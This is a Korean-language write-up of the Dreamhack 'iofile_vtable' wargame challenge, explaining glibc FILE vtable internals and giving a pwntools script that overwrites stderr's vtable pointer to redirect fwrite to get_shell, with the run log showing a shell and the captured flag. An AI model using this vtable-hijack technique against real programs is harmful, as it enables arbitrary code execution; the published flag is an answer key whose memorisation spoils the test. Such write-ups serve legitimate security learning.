콘텐츠로 건너뛰기

iofile_vtable

Description

이 문제는 서버에서 작동하고 있는 서비스(iofile_vtable)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
셸을 획득한 후, “flag” 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

checksec

iotfragile@iotfragile:~/CTF/iofile_vtable$ checksec --file ./iofile_vtable
[*] '/home/iotfragile/CTF/iofile_vtable/iofile_vtable'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

iofile_vtable (Decompiled-src)

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3[2]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v3[1] = 0;
  initialize(argc, argv, envp);
  printf("what is your name: ");
  read(0, &name, 8uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("1. print");
      puts("2. error");
      puts("3. read");
      puts("4. chance");
      printf("> ");
      __isoc99_scanf("%d", v3);
      if ( v3[0] != 2 )
        break;
      fwrite("ERROR\n", 1uLL, 6uLL, stderr);
    }
    if ( v3[0] > 2 )
    {
      if ( v3[0] == 3 )
      {
        fgetc(stdin);
      }
      else if ( v3[0] == 4 )
      {
        printf("change: ");
        read(0, &stderr[1], 8uLL);
      }
    }
    else if ( v3[0] == 1 )
    {
      puts("GOOD");
    }
  }
}

Solution

크래시 발생시키기:
what is your name: 에서 name을 8byte read로 입력받은다음,
4번 메뉴를 선택해서 임의로 ABCDEFGH를 입력하고,
2번 메뉴를 실행하면 크래시가 발생한다.

4번 메뉴인 chance를 살펴보면 stderr 주소 + 0xd8 지점에 아까전 ABCDEFGH 값이 들어간 것을 확인할 수 있다.

원래에는 어떤 값이 들어있었을까?
0x00007ffff7f9f600 <_IO_file_jumps> 구조체를 가리키고 있었다.
https://github.com/bminor/glibc/blob/glibc-2.38.9000/libio/libioP.h#L294

fwrite 함수는 실제로 _IO_fwrite 함수이고,
_IO_fwrite 함수에서 _IO_sputn 함수를 호출하는데 실제로 _IO_XSPUTN를 나타낸다.
이때 _IO_XSPUTN은 vtable 내부에 있는 함수 포인터이다.

//https://github.com/bminor/glibc/blob/glibc-2.38.9000/libio/iofwrite.c#L39

size_t
_IO_fwrite (const void *buf, size_t size, size_t count, FILE *fp)
{
  size_t request = size * count;
  size_t written = 0;
  CHECK_FILE (fp, 0);
  if (request == 0)
    return 0;
  _IO_acquire_lock (fp);
  if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
    written = _IO_sputn (fp, (const char *) buf, request);
  ...
}
//https://github.com/bminor/glibc/blob/glibc-2.38.9000/libio/iofwrite.c#L39
//https://github.com/bminor/glibc/blob/glibc-2.38.9000/libio/libioP.h#L304
...
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
...
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    ...
}

https://github.com/bminor/glibc/blob/glibc-2.38.9000/stdio-common/putw.c#L20
https://github.com/bminor/glibc/blob/glibc-2.38.9000/libio/iofwrite.c#L39
https://github.com/bminor/glibc/blob/glibc-2.38.9000/libio/libioP.h#L380C9-L380C18

이 _IO_XSPUTN 포인터 주소를 get_shell 주소로 덮어씌우면 될 것이다.

_IO_file_jumps에서 _IO_new_file_xsputn까지 오프셋을 구하자면,
56, 즉 0x38이 된다.

공격을 해보자면, 다음과 같다.

  1. name에는 get_shell 주소를 넣는다.
  2. 4번 메뉴 change를 골라서, _IO_new_file_xsputn 주소가 아닌 name에 들어있는 주소로 가리키게 만든다.
    .bss:00000000006010D0 public name
    따라서 0x6010d0-0x38이 들어가야 된다.
from pwn import *
# context.log_level = 'debug'
context(arch='amd64',os='linux')
warnings.filterwarnings('ignore')

p = remote('host3.dreamhack.games', 11908)

p.recvuntil("what is your name: ")

get_shell = 0x40094A
name = 0x6010D0

p.sendline(p64(get_shell))

p.recvuntil("> ")
p.sendline("4")

p.recvuntil("change: ")
p.sendline(p64(name-0x38))

p.recvuntil("> ")
p.sendline("2")

p.interactive()

Result

PS C:\Users\Seo Hyun-gyu\Downloads\36c743d8-d9ac-4e58-a533-cab3d795de58> python3 solve.py
[x] Opening connection to host3.dreamhack.games on port 11908
[x] Opening connection to host3.dreamhack.games on port 11908: Trying 23.81.42.210
[+] Opening connection to host3.dreamhack.games on port 11908: Done
[*] Switching to interactive mode
ls
flag
iofile_vtable
cat flag
DH{9f746608b2c9239b6b80eb5bbcae06ed}

FLAG

DH{9f746608b2c9239b6b80eb5bbcae06ed}

태그:

답글 남기기